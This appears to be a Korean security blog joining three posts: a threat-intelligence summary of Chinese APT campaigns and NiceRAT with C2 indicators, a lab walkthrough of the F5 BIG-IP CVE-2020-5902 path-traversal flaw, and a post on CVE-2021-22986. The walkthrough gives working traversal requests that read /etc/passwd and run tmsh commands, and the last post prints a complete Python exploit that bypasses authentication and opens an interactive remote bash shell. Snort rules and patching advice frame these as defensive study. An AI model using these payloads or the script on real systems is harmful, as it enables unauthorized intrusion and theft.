1. 개요

- 동아시아와 한국을 대상으로 악성코드가 유포되는 정황이 확인
- SW 취약점 또는 악성코드가 포함된 크랙 버전을 통해 유포
- C2 서버와 통신하며 추가 명령을 수행하거나 사용자 정보를 탈취

 

2. 주요내용

2.1 Velvet Ant [1]

- 중국 해킹 그룹 China-Nexus와 연류된 공격자가 약 3년 동안 동아시아에 위치한 익명의 조직을 대상으로 장기간 공격

- 공격자는 EDR이 설치되지 않고 로깅이 제한된 시스템을 표적으로 삼는 등 레거시 운영 체제를 노림

> 또한, 피해자 환경에 이미 배포된 원격 접속 트로이목마 PlugX를 활용

> PlugX는 2008년부터 중국 국가 후원 공격 그룹에서 사용되었으며, 감염된 시스템에 대한 원격 액세스를 제공하도록 설계

> 공격에는 인터넷에 직접 액세스할 수 있는 엔드포인트에 설치되어 민감 정보를 유출하는 버전과 C2 구성 없이 레거시 서버에만 배포되는 두 가지 버전이 사용

PlugX 실행 체인 설명
iviewers.exe Windows SDK의 일부인 'OLE/COM 개체 뷰어'라는 합법적인 응용 프로그램
iviewers.dll DLL 검색 순서 하이재킹을 통해 'iviewers.exe'에 의해 로드되는 악성 PlugX DLL 로더
iviewers.dll.ui 'iviewers.dll'이 실제 악성 페이로드가 포함되어 있으며, 이 페이로드는 'iviewers.dll'에 의해 로드

 

- C2 구성 없이 레거시 서버에 배포된 PlugX의 경우 F5 BIG-IP 장치를 이용해 역방향 SSH 터널 생성

> SSH 터널을 이용해 C2 서버와 통신하여 원격 명령을 수신하고 지속성을 확보

> 공격에 활용된 F5 BIG-IP 제품들은 지원이 종료된 제품

F5 어플라이언스 추가 악성코드  설명
VELVETSTING - 한 시간에 한 번씩 C&C에 연결하여 실행할 명령을 검색하는 도구
- IP 주소 202.61.136[.]158:8443을 C&C로 사용
- 명령은 '1qaz@WSXedc'라는 암호로 인코딩
- 명령을 받으면 'csh'(Unix C 셸)를 통해 실행
ELVETTAP - 네트워크 패킷을 캡처하는 기능을 갖춘 도구
- 바이너리는 F5 장치의 내부 NIC 이름인 'mgmt' 인수를 사용하여 F5 장치에서 실행
SAMRID - GitHub에서 사용할 수 있는 오픈 소스 SOCKS 프록시 터널러인 'EarthWorm'으로 식별
- 이 도구는 과거 Volt Typhoon, APT27, Gelsemium 등 다양한 중국 국가 후원 그룹에서 활용
ESRDE - VELVETSTING'과 유사한 기능을 갖춘 도구이나, bash를 사용하는 등 사소한 차이점 존재

 

- 공격 과정은 다음과 같음

① 악성코드는 1시간에 한 번씩 C2 서버를 폴링

② 공격자는 C2 서버와 연결

③ 역방향 SSH 터널 생성 및 원격 명령 전달

④ PlugX에 감염된 내부 파일 서버(내부 C2 서버로 사용)와 연결

⑤ PlugX 추가 배포

[사진 1] 공격 흐름 요약

 

대응 설명
아웃바운드 트래픽 제한 C2 서버와 통신하지 못하도록 아웃바운드 연결 차단(IP 차단)
네트워크 측면 이동 제한 SMB(445), RPC(135), WinRM(5985. 5986), RDP(3389), SSH(22) 등 측면 이동이 가능한 기술에 대한 엄격한 제어
레거시 서버 보안 강화 - 레거시 시스템 폐기 및 교체 우선적으로 처리
- 이전 시스템을 지원하는 엔드포인트 보호 도구 설치
- 트래픽 모니터링
자격 증명 수집 완화 EDR 무력화/우회 시도 방지를 위한 변조 방지 기능 구성
공용 장치 보호 자산 관리, 패치 관리, 침입 탐지 및 예방 등
침해지표 적용 공개된 침해지표 적용 [1]

 

2.2 미상의 중국 국가 후원 해킹 그룹 [4]

- 미상의 중국 해킹 그룹이 2020년부터 아시아 국가의 통신 사업자를 공격

> 대상 기업의 네트워크에 백도어를 설치하고 자격 증명을 도용하려고 시도

공격에 사용된 도구 설명
Coolclient - Fireant 그룹(Mustang Panda, Earth Preta라고도 함)과 관련된 백도어
> 키 입력 로깅, 파일 읽기 및 삭제, 명령 및 제어(C&C) 서버와의 통신 기능 등
> Google 파일(googleupdate.exe)로 가장하는 합법적인 VLC 미디어 플레이어 버전이 Coolclient 로더(파일 이름: libvlc.dll)를 사이드로드하는 데 사용
> 로더는 loader.ja라는 파일에서 암호화된 페이로드를 읽으며, 이 페이로드는 goopdate.ja라는 파일에서 두 번째 암호화된 페이로드를 읽고 이를 winver.exe 프로세스에 삽입
Quickheal - Neeedleminer 그룹(일명 RedFoxtrot, Nomad Panda)과 오랫동안 연관되어 온 백도어
> 캠페인에 사용된 변형은 GetOfficeDatatal이라는 내보내기가 있는 RasTls.dll이라는 32비트 DLL
> 컴파일된 코드의 새로운 구성 세부 사항과 VMProtect 난독화 등의 차이
> TCP 포트 443을 사용하여 Swiftandfast[.]net이라는 하드코딩된 C&C 서버와 통신
Rainyday - Firefly 그룹(일명 Naikon)과 관련된 백도어
> 캠페인에 사용된 대부분의 변종은 fspmapi.dll이라는 로더를 사용하여 실행
> 로더는 fsstm.exe라는 합법적인 F-Secure 실행 파일을 사용하여 사이드로드
> 로드되면 프로세스를 시작한 실행 파일의 디스크 폴더를 가져와 현재 디렉터리로 설정
> 그런 다음 실행 파일의 메모리 위치를 얻고 해당 메모리 이미지를 패치
> 하이재킹이 성공하면 로더는 dataresz라는 파일을 읽고 단일 바이트 XOR 키(0x2D)로 페이로드를 해독한 후 쉘코드로 실행

 

2.3 NiceRAT 악성코드를 설치하는 봇넷 [6]

- Windows나 MS Office 라이선스 확인 도구, 게임용 무료 서버로 위장한 악성코드 NiceRAT를 국내 사용자를 대상으로 지속적 유포

> NiceRAT는 Python으로 작성된 오픈 소스 프로그램

> 지속성 유지를 위해 디버깅 방지 감지, 가상 머신 감지, 시작 프로그램 등록 등의 작업

> api.ipify[.]org에 접속하여 시스템의 IP 정보를 수집 및 이를 이용하여 위치 정보 수집

> 시스템 정보, 브라우저 정보, 암호화폐 정보 등을 수집하여 Discord를 C2로 활용해 유출

 

3. 참고

[1] https://www.sygnia.co/blog/china-nexus-threat-group-velvet-ant/
[2] https://thehackernews.com/2024/06/china-linked-hackers-infiltrate-east.html
[3] https://www.boannews.com/media/view.asp?idx=130670&page=6&kind=1
[4] https://symantec-enterprise-blogs.security.com/threat-intelligence/telecoms-espionage-asia
[5] https://thehackernews.com/2024/06/chinese-cyber-espionage-targets-telecom.html
[6] https://asec.ahnlab.com/en/66790/
[7] https://thehackernews.com/2024/06/nicerat-malware-targets-south-korean.html

1. F5 BIG-IP

- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업
- BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품

 

1.1 TMUI

- Traffic Management User Interface

- 웹 기반 트래픽 관리 사용자 인터페이스

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/cve-2020-5902

- BIG-IP의 Traffic Management User Interface(TMUI)에서 접근통제가 미흡하여 발생하는 원격코드실행 취약점

- ..; 문자열을 이용해 상위 디렉토리로 이동 후 인증 없이 중요 파일 또는 디렉터리 접근이 가능

- 취약점을 악용한 공격자는 대상 시스템에 다음과 같은 행위를 할 수 있음

① 인증없이 원격 코드 실행 (RCE)

② 파일 생성 및 삭제

③ 서비스 비활성화

④ 정보 탈취

임의의 시스템 명령과 Java 코드를 실행

⑥ 내부 네트워크로 공격을 확장할 수 있는 추가적인 대상을 탐색

영향받는 버전 : BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1

 

2.1 실습

- 아래 사이트에서 BIG-IP 15.1.0.2-0.0.9 LTM을 다운로드

 

BIG-IP Virtual Edition

Get F5 application services in any environment. On-premises, in the cloud, or a mix of both, F5 BIG-IP Virtual Edition (VE) delivers app services in ways that let you move faster than hardware allows. BIG-IQ simplifies holistically managing BIG-IP devices

www.f5.com

 

- 설정 후 BIG-IP 서버 접근 시 TMUI의 로그인 페이지 확인

※ 가상머신(.ova) 설치 후 설정없이 ifconfig 명령으로 확인되는 IP에 접속

※ 최초 설치 시 ID/PW는 root/default

[사진 2] 최초 접근 화면

 

- 버프슈트를 통한 Exploit 수행

① fileRead.jsp의 fileName 매개변수를 이용해 /etc/passwd 파일 접근 및 파일 내용 노출

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1

 

[사진 3] /etc/passwd 파일 노출

 

② directoryList.jsp의 directoryPath 매개변수를 이용해 디렉토리 리스트 조회

GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1

 

[사진 4] /usr/local/www 디렉토리 리스트 조회

 

③ 원격 명령 실행

- F5 BIG-IP는 TMSH라고 하는 CLI 환경을 제공

 

Commands

 

clouddocs.f5.com

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1

 

[사진 5] 원격 명령 실행

 

- 위 예시 외에도 다양한 명령을 통해 Exploit을 진행할 수 있음

 

BIGIP CVE-2020-5902 Exploit POC

BIGIP CVE-2020-5902 Exploit POC . GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

 

2.2 PoC

- 아래 URL 외에 공개된 PoC를 확인해보면 /tmui/login.jsp/..;/ URL이 공통적으로 확인됨

https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

 

3. 대응방안

3.1 서버측면

① 최신 업데이트 적용

[사진 6] 취약점이 패치된 버전

 

② 허용된 IP만이 관리 인터페이스에 접근할 수 있도록 설정

- 화이트리스트 방식

 

③ 계정 정보 변경

 

④ F5에서는 httpd 설정에 아래 설정을 권고

- 요청 URL에서 ; 또는 hsqldb가 매칭되는 경우 404 에러 페이지로 리다이렉션

include 'FileETag MTime Size
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
'

 

3.2 네트워크 측면

① 공개된 PoC를 통해 URL에 /tmui/login.jsp/..;/이 포함된 경우 탐지할 수 있는 정책을 설정 및 적용

- 모니터링을 통해 비인가 혹은 공격 의심 IP 차단 적용

alert tcp any any -> any any (msg:"BIG IP_RCE_CVE-2020-5902";flow:established,to_server;uricontent:"/tmui/login.jsp/..|3b|/tmui/"; nocase; )

 

4. 참고

https://nvd.nist.gov/vuln/detail/cve-2020-5902
https://gist.github.com/cihanmehmet/07d2f9dac55f278839b054b8eb7d4cc5
https://research.kudelskisecurity.com/2020/07/06/security-advisory-f5-big-ip-critical-severity-rce-vulnerability-cve-2020-5902/
https://support.f5.com/csp/article/K52145254
https://clouddocs.f5.com/cli/tmsh-reference/latest/commands/
https://blog.cloudflare.com/cve-2020-5902-helping-to-protect-against-the-f5-tmui-rce-vulnerability/

1. F5 BIG-IP

- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업
- BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품

[캡쳐 1] 쇼단 F5 BIG-IP 검색 화면

2. CVE-2021-22986

[캡쳐 2] https://nvd.nist.gov/vuln/detail/CVE-2021-22986

- 취약한 버전의 BIG-IP, BIG-IQ의 iControl REST 인터페이스에서 발생하는 원격 명령어 실행 취약점
- 취약한 버전의 제품 로그인 페이지에만 접근하여도 취약점을 통해 인증 우회 및 원격 명령어 실행이 가능

[캡쳐 3] https://support.f5.com/csp/article/K03009991

2.1) 취약점 분석

- F5 BIG-IP 제품의 Default ID/PW 값은 admin/admin으로 설정되어 있음.
- 원격의 공격자는 Authorization 헤더의 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정하여 조작된 요청 전송
- 사용자 입력값(ID/PW) 적절한 검증의 부재로 공격자는 관리자의 X-F5-Auth-Token(admin 토큰 값) 값을 알아낼 수 있음
- 해당 토큰 값을 이용해 관리자의 권한으로 원격 명령 수행이 가능.

* YWRtaW46YWRtaW4= base64 디코딩 시 admin:admin
* X-F5-Auth-Token 값을 공백 && Authorization 헤더 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정한 PoC도 확인
사유 : Authorization헤더를 통해 전달한 ID/PW 값을 통해 admin 권한으로 접근이 가능하기 때문으로 판단.

2.2) PoC

def exploit(url):
	target_url = url + '/mgmt/shared/authn/login'
	data = {
		"bigipAuthCookie":"",
		"username":"admin",
		"loginReference":{"link":"/shared/gossip"},
		"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
	}
	headers = {
		"User-Agent": "hello-world",
		"Content-Type":"application/x-www-form-urlencoded"
	}
	response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
	if "/mgmt/shared/authz/tokens/" not in response.text:
		print('(-) Get token fail !!!')
		print('(*) Tested Method 2:') 
		header_2 = {
		    'User-Agent': 'hello-world',
		    'Content-Type': 'application/json',
		    'X-F5-Auth-Token': '',
		    'Authorization': 'Basic YWRtaW46QVNhc1M='
		}
		data_2 = {
			"command": "run", 
			"utilCmdArgs": "-c whoami"
		}
		check_url = url + '/mgmt/tm/util/bash'
		try:
			response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
			if response2.status_code == 200 and 'commandResult' in response2.text:
				while True:
					cmd = input("(:CMD)> ")
					data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
					r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
					if r.status_code == 200 and 'commandResult' in r.text:
						print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
			else:
				print('(-) Not vuln...')
				exit(0)
		except Exception:
			print('ERROR Connect')
	print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
	while True:
		cmd = input("(:CMD)> ")
		headers = {
			"Content-Type": "application/json",
			"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
		}
		data_json = {
			"command": "run", 
			"utilCmdArgs": "-c \'%s\'"%(cmd)
		}
		exp_url= url + '/mgmt/tm/util/bash'
		exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
		if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
			print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
		else:
			print('(-) Not vuln...')
			exit(0)

if __name__ == '__main__':
    title()
    if(len(sys.argv) < 2):
    	print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
    	exit(0)
    else:
    	exploit(sys.argv[1])

[캡쳐 4] https://twitter.com/1zrr4h/status/1373206181955653632

3. 대응방안

- 최신 버전으로 업데이트

[캡쳐 5] 업데이트 코드(인증 우회 방지)

- 상위 보안장비를 통한 접근제어 : 취약점에 사용되는 문자열을 탐지할 수 있는 스노트 룰 적용
Ex) /mgmt/shared/authn/login, /mgmt/tm/util/bash, "command":, "utilCmdArgs": 등

참고

CVE-2021-22986 (iControl REST unauthenticated remote command execution vulnerability)

#CVE #Exploit #F5 #BIG_IP #Security □ 주요 내용 / Main contents F5 BIG-IP : 로컬 ...

blog.naver.com

K03009991: iControl REST unauthenticated remote command execution vulnerability CVE-2021-22986 | AttackerKB

On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x …

attackerkb.com

GitHub - jas502n/CVE-2021-22986-f5-ssrf-rce: CVE-2021-22986 & F5 BIG-IP RCE

CVE-2021-22986 & F5 BIG-IP RCE. Contribute to jas502n/CVE-2021-22986-f5-ssrf-rce development by creating an account on GitHub.

github.com

'취약점 > RCE' 카테고리의 다른 글

Spring Cloud Function RCE (CVE-2022-22963)  (0) 2022.11.15
Apache Struts 2 Namespace RCE (CVE-2018-11776)  (1) 2022.09.29
vBulletin Pre-Auth RCE(CVE-2019-16759)  (0) 2022.09.20
Bash Shell Shock(CVE-2014-6271)  (2) 2022.09.13
bWAPP PHP Code Injection  (0) 2022.07.29

+ Recent posts